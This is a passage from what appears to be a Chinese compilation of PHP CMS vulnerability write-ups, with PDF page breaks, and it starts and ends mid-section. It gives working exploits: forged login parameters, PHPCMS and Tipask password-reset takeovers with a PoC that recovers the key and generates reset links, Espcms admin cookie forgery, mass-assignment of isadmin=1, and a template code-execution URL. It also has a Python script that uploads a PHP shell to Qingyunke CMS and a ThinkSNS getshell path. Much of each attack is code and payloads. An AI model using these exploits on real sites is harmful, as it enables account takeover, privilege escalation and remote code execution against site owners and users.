$verify_result = $alipayNotify->verifyReturn();
//var_dump($verify_result);
if(true || $verify_result) {//验证成功
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
- 125 -
session::set("openid",$user_id);
return array('nickname'=>
front::get('real_name'));
if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为
在这之前全是配置信息的东西
我们直接看这里
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
return array('nickname'=>
front::get('real_name'))
发现没有 openid 完全可控制
我们发送 url：
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=alipaylogin&user_id=2&real_name=test
这时候我们的 openid 被设置为了 2
那么我们回头在看看
发送 url:
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=groupid
postdata:
username=test&password=111111&submit=xxx
这时候 看看 我们的 test 用户组为：
- 126 -
PHPCMS 设计缺陷可重置前台任意用户密
码
作者：loopx9
\phpcms\modules\member\index.php:
/通过用户名找回密码
public function
public_forget_password_username() {
$step = intval($_POST['step']);
$step = max($step,1);
$this->_session_start();
if(isset($_POST['dosubmit']) &&
$step==2) {
//处理提交申请，以手机号为准
if ($_SESSION['code'] !=
strtolower($_POST['code'])) {
showmessage(L('code_error'), HTTP_REFERER);
}
$username =
safe_replace($_POST['username']);
- 127 -
$r =
$this->db->get_one(array('username'=>$username),'use
rid,email');
if($r['email']=='') {
$_SESSION['userid'] =
'';
$_SESSION['code'] = '';
showmessage("该账号没有
绑定手机号码，请选择其他方式找回！");
} else {
$_SESSION['userid'] =
$r['userid'];
$_SESSION['email'] =
$r['email'];
}
$email_arr =
explode('@',$r['email']);
include template('member',
'forget_password_username');
} elseif(isset($_POST['dosubmit']) &&
$step==3) {
$sms_report_db =
pc_base::load_model('sms_report_model');
$mobile_verify =
$_POST['mobile_verify'];
$email = $_SESSION['email'];
if($email){
if(!preg_match('/^([a-z0-9_]+)@([a-z0-9_]+).(
[a-z]{2,6})$/',$email)) exit('check email error');
if($_SESSION['emc_times']=='' ||
$_SESSION['emc_times']<=0){
- 128 -
showmessage("验
证次数超过 5 次,验证码失效，请重新获取邮箱验证码！
",HTTP_REFERER,3000);
}
$_SESSION['emc_times']
= $_SESSION['emc_times']-1;
if($_SESSION['emc']!='' &&
$_POST['email_verify']==$_SESSION['emc']) {
$userid =
$_SESSION['userid'];
$updateinfo =
array();
$password =
random(8,"23456789abcdefghkmnrstwxy");
$encrypt =
random(6,"23456789abcdefghkmnrstwxyABCDEFGHKMNRSTWXY
");
$updateinfo['encrypt'] = $encrypt;
$updateinfo['password'] = password($password,
$encrypt);
$this->db->update($updateinfo,
array('userid'=>$userid));
$rs =
$this->db->get_one(array('userid'=>$userid),'phpssou
id');
if(pc_base::load_config('system', 'phpsso')) {
- 129 -
//初始化
phpsso
$this->_init_phpsso();
$this->client->ps_member_edit('', '', '',
$password, $rs['phpssouid'], $encrypt);
}
$_SESSION['email'] = '';
$_SESSION['userid'] = '';
$_SESSION['emc'] = '';
$_SESSION['code'] = '';
pc_base::load_sys_func('mail');
sendmail($email, '密码重置通知', "您在
".date('Y-m-d H:i:s')."通过密码找回功能，重置了本站密码。");
include
template('member', 'forget_password_username');
exit;
} else {
showmessage("验
证码错误！请重新获取！",HTTP_REFERER,3000);
}
} else {
showmessage("非法请求！
");
}
} else {
- 130 -
include template('member',
'forget_password_username');
}
}
//邮箱获取验证码
public function public_get_email_verify() {
pc_base::load_sys_func('mail');
$this->_session_start();
$code = $_SESSION['emc'] =
random(8,"23456789abcdefghkmnrstwxy");
$_SESSION['emc_times']=5;
$message = '您的验证码为：'.$code;
sendmail($_SESSION['email'], '邮箱找回密
码验证', $message);
echo '1';
}
通过用户名找回密码方式存在设计缺陷。找回密码流程可分作三步来
看:
步骤 1: 客户端提交用户名，服务端在数据库中查询记录，如果存在此
用户就在 session 中保存用户身份信息；
步骤 2: 生成验证码并保存在 session，然后将验证码发往用户注册邮
箱；
步骤 3: 服务端将客户端提交的验证码与 session 中保存的进行比对，
验证通过后重置用户密码。
从代码中可以看到验证码没有绑定用户身份，这样就导致可以使用用
户 A 的验证码来重置用户 B 的密码。
- 131 -
使用用户 A（可控账户）走正常密码找回流程来获取验证码，但不使
用，然后再使用用户 B（要攻击的账户）走步骤 1，接着跳过步骤 2
使用前面获取到的验证码直接走步骤 3，就能重置用户 B 的密码了。
密码相当
Espcms 加密函数缺陷导致 getshell
作者：膜拜 hym
* 程序的加解密函数存在缺陷，可以通过明文和密文逆向还原密钥
* 后台登陆处没有有效验证 cookie 有效性导致攻击者可以通过伪造
cookie 登陆后台
* 后台可以上传 shell
下面一步一步来看
首先是加解密函数 eccode
function eccode($string, $operation = 'DECODE', $key =
'@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) + ord($keychar));
- 132 -
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='),
array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+',
'/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
可以看到密文是明文与 key 通过字符 ascii 相加最后 base64 编码后
得到的，加密时，key 由最后一位开始，依次与明文的每一位进行 ascii
相加，因此用密文和明文相减能得到 key，有没有凯撒加密的感觉？
知道原理以后下面开始逆向 key：
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'),
$encrypt);
- 133 -
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) -
1).substr($result, 0, 1);
return $result;
}
好吧，虽然现在理论上可以还原 key 了，但是还得找到足够长的明文
和相对应的密文才可以得到完整的 key，毕竟如果明文和密文都没有
key 长，还原得到的 key 也是不完整的。
在购物车结算时，程序会把当前物品的价格和折扣变成 md5 然后加密
后放到 cookie 里，所以我们可以保证推算出最多 32 位长的 key，够
了，至于其他的地方不知道可不可以，我没有仔细看。
function in_orderpay() {
parent::start_pagetemplate();
if ($this->CON['order_ismember']) {
parent::member_purview(0,
$this->mlink['orderpay']);
}
$lng = (admin_LNG == 'big5') ?
$this->CON['is_lancode'] : admin_LNG;
- 134 -
$cartid =
$this->fun->eccode($this->fun->accept('ecisp_order_l
ist', 'C'), 'DECODE', db_pscode);
$cartid =
stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ?
unserialize($cartid) : 0;
if ($this->CON['order_ismember']) {
if
(!empty($this->ec_member_username_id)
&& !empty($this->ec_member_username)) {
$rsMember =
$this->get_member(null,
$this->ec_member_username_id);
} else {
$linkURL =
$this->get_link('memberlogin');
$this->callmessage($this->lng['memberloginerr
'], $linkURL, $this->lng['memberlogin'], 1,
$this->lng['member_regbotton'], 1,
$this->mlink['reg']);
}
}
if ($uncartid && is_array($uncartid)) {
$didarray =
$this->fun->key_array_name($uncartid, 'did', 'amount',
'[0-9]+', '[0-9]+');
- 135 -
$didlist =
$this->fun->format_array_text(array_keys($didarray),
',');
if (!empty($didlist)) {
$db_table = db_prefix .
'document';
$db_where = "isclass=1
AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT * FROM
$db_table WHERE $db_where";
$rs =
$this->db->query($sql);
$productmoney = 0;
while ($rsList =
$this->db->fetch_assoc($rs)) {
$amount =
empty($didarray[$rsList['did']]) ? 1 :
intval($didarray[$rsList['did']]);
$rsList['link']
= $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink',
$rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink',
$rsList, admin_LNG);
$rsList['dellink'] = $this->get_link('buydel',
$rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ?
- 136 -
$rsList['title'] : "<font color='" . $rsList['color'] .
"'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $amount;
$countprice =
sprintf("%01.2f", $amount * $rsList['bprice']);
$rsList['countprice'] = $countprice;
$productmoney =
$productmoney + $countprice;
$array[] =
$rsList;
}
$this->fun->setcookie('ecisp_order_productmon
ey', $this->fun->eccode($productmoney, 'ENCODE',
db_pscode), 7200);
}
$this->pagetemplate->assign('moneytype',
$this->CON['order_moneytype']);
$order_discount =
$this->CON['order_discount'];
$discountmoney = 0;
if ($order_discount > 0) {
$discountmoney =
$productmoney > 0 ? $productmoney - ($order_discount /
100) * $productmoney : 0;
}
$discount_productmoney =
$productmoney - $discountmoney;
- 137 -
$order_integral =
empty($this->CON['order_integral']) ? 1 :
intval($this->CON['order_integral']);
$internum =
$discount_productmoney * $order_integral;
$this->pagetemplate->assign('internum',
intval($internum));
$payplug =
$this->get_payplug_array();
$shipplug =
$this->get_shipplug_array();
$cookiceprice =
md5("$productmoney|$discount_productmoney");
$this->fun->setcookie('ecisp_order_sncode',
$this->fun->eccode($cookiceprice, 'ENCODE',
db_pscode));
而被加密的明文就是 MD5 过后的购物价格，因此可以还原最长 32 位
的 key
在经过上面的步骤还原 key 以后，就可以伪造 cookie 登陆后台了：
$arr_purview = explode('|',
$this->fun->eccode($ecisp_admininfo, 'DECODE',
db_pscode));
$this->esp_powerlist = explode('|',
$this->fun->eccode($esp_powerlist, 'DECODE',
db_pscode));
- 138 -
list($esp_adminuserid, $this->esp_username,
$this->esp_password, $this->esp_useragent,
$esp_powerid, $esp_inputclassid, $this->esp_softurl) =
$arr_purview;
$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);
if ($gettype) {
if (empty($this->esp_username) ||
empty($this->esp_adminuserid) || md5(admin_AGENT) !=
$this->esp_useragent || md5(admin_ClassURL) !=
$this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) ||
empty($this->esp_adminuserid) ||
md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') !=
'adminuser' && $this->fun->accept('action', 'R') !=
'login') {
- 139 -
header('location:
index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point',
'R') == '' && $this->fun->accept('archive', 'R') == ''
&& $this->fun->accept('action', 'R') == '') {
header('location:
index.php?archive=management&action=tab&loadfun=mang
ercenter&out=tabcenter');
exit();
}
}
需要 cookie 中的将 esp_powerlist 设为 all，将 ecisp_admininfo 设为
类似
'1|hym|12345678901234567890123456789012|'.md5('Mozilla
/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0').'|1|management|'.md5('http://**.**.**.**/esp
cms/adminsoft'这样的结构，去登陆后台就可以了，此处应有掌声。
首先注册会员购物
折扣前和折扣后的价格都是 3200，所以明文是
md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf'
- 140 -
密文通过查看 cookie 中的 ecisp_order_sncode 得到：
ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6
XbWlsa5ufl50
写了一个 poc 来还原 key：
<?php
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'),
$encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) -
1).substr($result, 0, 1);
return $result;
}
function eccode($string, $operation = 'DECODE', $key =
'@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) + ord($keychar));
- 141 -
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='),
array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+',
'/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
#明文
$clear =
"38a7a5650e6296b180c88f6592486fbf";
#密文
$encrypt =
"mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50";
#获取 key
$mkey = anti_eccode($encrypt, $clear);
- 142 -
print "[*]maybe key is:".$mkey."\n";
#使用者自己根据判断裁剪 mkey 的长度获取真实的 key
print "[*]input key:";
$key = trim(fgets(STDIN));
#构造 cookie
$esp_powerlist = eccode('all', 'ENCODE', $key);
$ecisp_admininfo =
eccode('1|hym|12345678901234567890123456789012|'.md5
('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0)
Gecko/20100101
Firefox/18.0').'|1|management|'.md5('http://**.**.**.
**/espcms/adminsoft'), 'ENCODE', $key);
print "[+]esp_powerlist=$esp_powerlist\n";
print "[+]ecisp_admininfo=$ecisp_admininfo\n";
?>
通过检查，发现后面实际是重复的，因此真正的 key 应该是前面的 9
57174ca8b1384d373d2f8b4783e
key 正是"957174ca8b1384d373d2f8b4783e"
然后设置 cookie 并登陆，浏览器要与 poc 中设置的浏览器一致，否
则会登陆失败
- 143 -
Tipask 2.0 加密函数破解导致任意用户密码修
改
作者：猪头子
Tipask 问答系统是一款开放源码的 PHP 仿百度知道程序。以国人的
使用习惯为设计理念，采用 MVC 构架，系统具有速度快，SEO 友好，
界面操作简洁明快等特点。
但是 Tipask 中使用的加密算法存在被破解的可能性，因此将导致包括
任意用户密码修改等漏洞的发生。
在核心加密算法 strcode 函数中：
/* 通用加密解密函数，phpwind、phpcms、dedecms 都用此函数 */
function strcode($string, $auth_key, $action= 'ENCODE')
{
$key = substr(md5($_SERVER[ "HTTP_USER_AGENT"] .
$auth_key), 8, 18);
$string = $action == 'ENCODE' ? $string :
base64_decode($string);
$len = strlen($key);
$code = '';
for ($i = 0; $i < strlen($string); $i++) {
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
- 144 -
$code = $action == 'DECODE' ? $code :
base64_encode($code);
return $code;
}
可以看到加密的算法是异或，所以可以用密文和明文异或的方法反过
来求出密钥 key，如下：
function anti_strcode($authstr, $plaintxt)
{
$key ='';
$authstr = urldecode(base64_decode($authstr));
for($i = 0; $i < 18; $i++)
{
$key .= $authstr[$i] ^ $plaintxt[$i];
}
return $key;
}
key 长度为 18，因此我们要找一个明文长度超过 18 而被加密的字串，
经过检查，发现 cookie 中的 auth 值长度超过了 18，因此将针对 co
okie 中的 auth 进行 key 猜解。
在 Tipask 的密码重置中，生成密码重置链接的关键字串是由 strcode
产生，因此可以利用破解后的 key 来达到任意密码修改功能。
<?php
printf("--------------------------------------------
-----------
Tipask 2.0 authkey decrypt exploit
Author:ztz
Blog:http://**.**.**.**/
- 145 -
----------------------------------------------------
---\n\n" );
if ($argc < 3) {
print_r( "Usage:
php exp.php uid password
auth_cookie\nexample:
php exp.php 1 s3cr4t
AjAGAAcFVwcHBwYHUA8GU19UBwtTV1AGAQQMUgMEWwpSVg%3D%3D
\n\n");
exit();
}
$uid = $argv[1];
$password = md5($argv[2]);
$auth_cookie = $argv[3];
$str = "$uid \t$password ";
$key = anti_strcode("$auth_cookie ", " $str");
print "[+]Key: $key \n";
print "[*]Input the username you want to reset: ";
fscanf(STDIN, "%s\n", $username);
print "[*]Encrypting...\n";
$code = urlencode(strcode($username, $key));
print "[+]Reset password here: ?user/resetpass/$code
\n";
//function
function anti_strcode($authstr, $plaintxt)
{
$key = '';
$authstr = urldecode(base64_decode($authstr));
for($i = 0; $i < 18; $i++)
{
$key .= $authstr[$i] ^ $plaintxt[$i];
}
- 146 -
return $key;
}
function strcode($string, $key) {
$len = 18;
$code = '';
for ($i = 0; $i < strlen($string); $i++) {
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = base64_encode($code);
return $code;
}
?>
首先申请重置目标用户的密码
利用自己的注册用户的 cookie 解密 key：
当前登录用户 cookie 中的 auth 为
VjEFWAFbAwtXBlUDV1ZVCAEAUFkDBQFcVFcCUggCAlNVWg
%3D%3D
然后进行解密：
- 147 -
获得 key 为 d82ab802de152bf9bb
然后输入想要重置的用户：
获得了重置密码的链接。
越权访问
ThinkSNS 水平权限问题
作者：Ano_Tom
看过之前乌云白帽子发的关于水平权限的问题，貌似很多。重新看了
下，好多都没修复。发个没有重复的。测试版本：4.18 号官网下载的
版本。
漏洞文件：
/thinksns/apps/weba/Lib/Action/GroupAction.class.php
说明，index 文件应该是 group 文件的完善更新版？
代码：
- 148 -
/**
* 执行编辑帖子
* @return void
*/
//水平权限缺陷 02
public function doPostEdit(){
// echo 2;die;
$checkContent = str_replace(' ', '',
$_POST['content']);
$checkContent = str_replace('<br />', '',
$checkContent);
$checkContent = str_replace('<p>', '',
$checkContent);
$checkContent = str_replace('</p>', '',
$checkContent);
$checkContents =
preg_replace('/<img(.*?)src=/i','img',$checkContent)
;
$checkContents =
preg_replace('/<embed(.*?)src=/i','img',$checkConten
ts);
if(strlen(t($_POST['title']))==0)
$this->error('帖子标题不能为空');
if(strlen(t($checkContents))==0)
$this->error('帖子内容不能为空');
preg_match_all('/./us', t($_POST['title']),
$match);
if(count($match[0])>30){
//汉字和字母都为一个
字
$this->error('帖子标题不能超过 30 个字');
}
$post_id = intval($_POST['post_id']);
$data['title'] = t($_POST['title']);
$data['content'] = h($_POST['content']);
- 149 -
$res =
D('weiba_post')->where('post_id='.$post_id)->save($d
ata);//直接提交 post_id 即可编辑任意帖子，未进行权限认证
if($res!==false){
$post_detail =
D('weiba_post')->where('post_id='.$post_id)->find();
if(intval($_POST['log'])==1){
D('log')->writeLog($post_detail['weiba_id'],$this->m
id,'编辑了帖子“<a
href="'.U('weiba/Index/postDetail',array('post_id'=>
$post_id)).'"
target="_blank">'.$post_detail['title'].'</a>”','pos
ts');
}
//同步到微博
$feedInfo =
D('feed_data')->where('feed_id='.$post_detail['feed_
id'])->find();
$datas =
unserialize($feedInfo['feed_data']);
$datas['content'] = '【'.$data['title'].'】
'.getShort(t($checkContent),100).' ';
$datas['body'] = $datas['content'];
$data1['feed_data'] = serialize($datas);
$data1['feed_content'] = $datas['content'];
$feed_id =
D('feed_data')->where('feed_id='.$post_detail['feed_
id'])->save($data1);
model('Cache')->rm('fd_'.$post_detail['feed_id']);
return $this->ajaxReturn($post_id, '编辑成功',
1);
}else{
- 150 -
$this->error('编辑失败');
}
}
其中 doPostEdit 操作未对权限认证，导致可以修改微吧里的任意帖子
起始状态如下
post_id=5 内容为 test02 的，post_id=4 内容为 test01 的
test02 修改自己的帖子，拦截 post 请求如下
修改 test01 的帖子，即 post_id=4 如图
- 151 -
结果为
- 152 -
Easytalk 垂直权限问题
作者：Ano_Tom
Easytalk 处理用户数据的时候未足够过滤，导致可以进行权限提升
晚上习惯性的打开代码分析分析函数，看到了这样一处
漏洞文件:
/Easytalk/Home/Lib/Action/GuideAction.class.php
//保存设置,注册用户时候，向导保存设置
public function doset() {
$user=M('Users');
$userdata=$_POST["user"];//获取用户提交
的所有数据
// ok，此处的用户 userdata 数据是来自 post 的，而并未过
滤一些敏感字段
$userdata["nickname"]=
daddslashes(strip_tags(trim($userdata["nickname"])))
;
$userdata['provinceid']=intval($userdata['pro
vinceid']);
$userdata['cityid']=intval($userdata['cityid']
);
$userdata['user_info']=
daddslashes(trim(htmlspecialchars($userdata['user_in
fo'])));
// 过滤 nickname
if(!preg_match('/^[0-9a-zA-Z\xe0-\xef\x80-\xbf._-]+$
/i',$userdata['nickname'])) {
- 153 -
setcookie('setok',
json_encode(array('lang'=>L('setting2'),'ico'=>2)),0,
'/');
header('location:'.SITE_URL.'/?m=guide');
exit;
}
if (!$userdata['nickname']
|| !$userdata['provinceid'] || !$userdata['cityid']) {
setcookie('setok',
json_encode(array('lang'=>L('setting1'),'ico'=>2)),0,
'/');
header('location:'.SITE_URL.'/?m=guide');
exit;
}
//昵称检测
if ($userdata['nickname'] &&
$userdata['nickname']!=$this->my['nickname']) {
if (StrLenW($userdata['nickname'])<=12 &&
StrLenW($userdata['nickname'])>=3) {
$newnickname=$user->where("nickname='$userdata[nickn
ame]'")->find();
if ($newnickname) {
setcookie('setok',
json_encode(array('lang'=>L('setting4'),'ico'=>2)),0,
'/');
header('location:'.SITE_URL.'/?m=guide');
exit;
}
} else {
- 154 -
setcookie('setok',
json_encode(array('lang'=>L('setting2'),'ico'=>2)),0,
'/');
header('location:'.SITE_URL.'/?m=guide');
exit;
}
}
// var_dump($userdata);die;
$user->where("user_id='".$this->my['user_id']."'")->
data($userdata)->save();
header('location:'.SITE_URL.'/?m=guide&a=followtopic
');
}
漏洞代码，
$userdata=$_POST["user"];//获取用户提交的所有数据，然后进
行了一些常规的检测之后，就执行了
$user->where("user_id='".$this->my['user_id']."'")->data(
$userdata)->save();存入数据库了。
这样写的问题是，用户可以自己添加别的字段，而因为此 cms 管理员
表跟普通用户表又在一个表里，（区分的标志是 isadmin 字段）因而
可以造成权限提升
注册普通用户，然后来到设置向导里，拦截发送的请求
- 155 -
增加字段 user%5Bisadmin%5D=1 即可
- 156 -
代码执行
初刻 Crucco 主站任意代码执行
作者：kelon
http://www.crucco.com/huodongye.php?pn=zucefangsi
在这里我们发现 pn 的值没有指定，可以任意提交，我们推断应该程序
员写成以下代码
$smarty->display($_GET['p']);
我们找到 ecshop 中的 display 方法 发现里面用了 eval
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}
我们提交以下 url:
http://www.crucco.com/huodongye.php?pn=str:%3C?php%20
phpinfo%28%29;//
会发现可爱的 phpinfo 出来了
- 157 -
青云客 CMS 前台任意代码执行
作者：c26
api.php
<?php
ini_set("max_execution_time","1800");
include('include/config.php');
include('include/function.php');
include('include/class_mysql.php');
nocache();
$tcz=array(
'log'=>arg('log','all','url')
);
$db=new mysql();
switch($tcz['log']){
...
case 'feedback_upload':
@$webdomain=$_SERVER['SERVER_NAME'];
$websit
echo $website['webid'];
if(!$website){
die('error');
exit;
}
if($_FILES["file"]["error"]>0){
echo '<script
type="text/javascript">parent.PZ.sendfeedback_upload
({log:"success",msg:"error1"});</script>';
exit;
}else{
$fsize=$_FILES['file']['size']/1024;
- 158 -
if($fsize>5120){
echo '<script
type="text/javascript">parent.PZ.sendfeedback_upload
({log:"success",msg:"error2"});</script>';
exit;
}
// 获取扩展名
$typename=strtolower(pathinfo($_FILES['file']
['name'],PATHINFO_EXTENSION));
// 组合文件名
$filename=date('dHis').'_'.randomkeys(6).'.'.
$typename;
// 组合路径
$path=setup_upfolder.$website['webid'].'/'.se
tup_uptemp.$filename;
// shell
move_uploaded_file($_FILES['file']['tmp_name']
,$path);
echo '<script
type="text/javascript">parent.PZ.sendfeedback_upload
({log:"success",file:"'.$filename.'"});</script>';
}
break;
default:
$url=$_SERVER["QUERY_STRING"];
if($url!=''){
$url=preg_replace('/^\//','',$url);
gotourl($url);
}
break;
- 159 -
}
?>
前面直接引入了配置文件、方法封装、操作类文件，没有做其他验证,
跟进查看 arg
function
arg($aname='log',$gtype='post',$atype='string',$len=
0){
$val='';
switch($gtype){
case "get":
@$val=$_GET[$aname];
break;
case "post":
@$val=$_POST[$aname];
break;
case "all":
@$val=$_GET[$aname];
if($val=='')@$val=$_POST[$aname];
break;
}
switch($atype){
case 'int':
if($val=='')$val='0';
$val=sprintf('%.0f',$val);
break;
case 'num':
$val=floatval($val);
if($val<1)$val=1;
break;
case 'url':
$val=trim($val);
StopAttack($aname,$val,$gtype);
$val=urldecode($val);
- 160 -
break;
case 'txt':
$val=trim($val);
StopAttack($aname,$val,$gtype);
$val=urldecode($val);
$val=htmlspecialchars($val);
break;
case 'rate':
$val=urldecode($val);
if($val=='')$val=0;
$val=(float)$val;
$val=sprintf('%.4f',$val);
break;
case 'decimal':
$val=urldecode($val);
if($val=='')$val=0;
$val=(float)$val;
$val=sprintf('%.'.goif($len,$len,2).'f',$val)
;
break;
case 'none':
break;
default:
StopAttack($aname,$val,$gtype);
$val=htmlspecialchars($val);
break;
}
return $val;
}
根据构造表单
- 161 -
<form
action="http://**.**.**.**/api.php?log=feedback_uplo
ad" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br><br>
<input type="submit" value="upload">
</form>
Response:
<script
type="text/javascript">parent.PZ.sendfeedback_upload
({log:"success",file:"22170707_shhxyo.php"});</scrip
t>
附上 Exploit:
#!/usr/bin/env python
#coding=utf-8
import requests
import re
def getshell(host):
if not host.startswith('http://') and not
host.startswith('https://'):
url = 'http://' + host
else:
url = host
files = {'file': ('x.php',
open('e:\\ma\\php\\phpinfo.txt', 'rb'), 'image/png')}
req = requests.post(url +
'/api.php?log=feedback_upload', files = files)
match = re.search(r'(\d{5}).*file:"(.*\.php)"',
req.content)
if match.group(1) and match.group(2):
- 162 -
shell = '%s/upload/%s/temp/%s'%(url,
match.group(1), match.group(2))
req = requests.get(shell)
if req.status_code == 200:
print shell
else:
print match.group()
if __name__ == '__main__':
getshell('http://**.**.**.**/')
getshell
ThinkSNS getshell
作者：猪头子
\apps\public\Lib\Action\CommentAction.class.php reply 函数
public function reply() {
- 163 -
$var = $_GET;
$var['initNums'] =
model('Xdata')->getConfig('weibo_nums', 'feed');
$var['commentInfo'] =
model('Comment')->getCommentInfo($var['comment_id'],
false);
$var['canrepost']
=
$var['commentInfo']['table'] == 'feed'
? 1 : 0;
$var['cancomment'] = 1;
// 获取原作者信息
$rowData =
model('Feed')->get(intval($var['commentInfo']['row_i
d']));
$appRowData =
model('Feed')->get($rowData['app_row_id']);
$var['user_info'] = $appRowData['user_info'];
// 微博类型
$var['feedtype'] = $rowData['type'];
// $var['cancomment_old'] =
($var['commentInfo']['uid'] !=
$var['commentInfo']['app_uid'] &&
$var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0;
$var['initHtml'] =
L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['us
er_info']['uname'].' ：';
// 回复
$this->assign($var);
$this->display();
}
不管中间过程，$var 被赋值被$_GET，并在最后进入了 assign 函数
\core\OpenSociax\Action.class.php assign
public function assign($name,$value='') {
- 164 -
if(is_array($name)) {
$this->tVar
=
array_merge($this->tVar,$name);
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}
assign 其实就是给模板变量赋值，也就是说我们的$_GET 最后进入
了模板变量中。
然后回到一开始的 reply 函数，可以看到在最后调用了 display：
\core\OpenSociax\functions.inc.php display 函数
// 输出模版
function
display($templateFile='',$tvar=array(),$charset='UTF
8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true)
;
}
fetch 找到相应的模板并和我们提交的变量结合编译之：
\core\OpenSociax\Action.class.php fetch 函数
protected function
fetch($templateFile='',$charset='utf-8',$contentType
='text/html',$display=false) {
- 165 -
$this->assign('appCssList',$this->appCssList);
$this->assign('langJsList',
$this->langJsList);
Addons::hook('core_display_tpl',
array('tpl'=>$templateFile,'vars'=>$this->tVar,'char
set'=>$charset,'contentType'=>$contentType,'display'
=>$display));
return fetch($templateFile, $this->tVar,
$charset, $contentType, $display);
}
把请求转发给真正的 fetch 函数：
\core\OpenSociax\functions.inc.php
function
fetch($templateFile='',$tvar=array(),$charset='utf-8
',$contentType='text/html',$display=false) {
//注入全局变量 ts
global
$ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用 null 参数作为模版名直接返回不做任何输出
return ;
if(empty($charset))
$charset =
C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType.";
charset=".$charset);
header("Cache-control: private");
//支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
- 166 -
// 模版名为空.
if(''==$templateFile){
$templateFile
=
APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html'
;
// 模版名为 ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.
'/'.$templateFile.'.html')) {
$templateFile
=
APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.htm
l';
// 模版是绝对路径
}elseif(file_exists($templateFile)){
// 模版不存在
}else{
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templ
ateFile.']');
}
//模版缓存文件
$templateCacheFile
=
C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templat
eFile).'.php';
//载入模版缓存
if(!$ts['_debug'] &&
file_exists($templateCacheFile)) {
//if(1==2){ //TODO
开发
extract($tvar, EXTR_OVERWRITE); //exploit!
//var_dump($_SESSION);
//载入模版缓存文件
include $templateCacheFile; //getshell here!
//重新编译
}else{
- 167 -
tshook('tpl_compile',array('templateFile',$templateF
ile));
// 缓存无效 重新编译
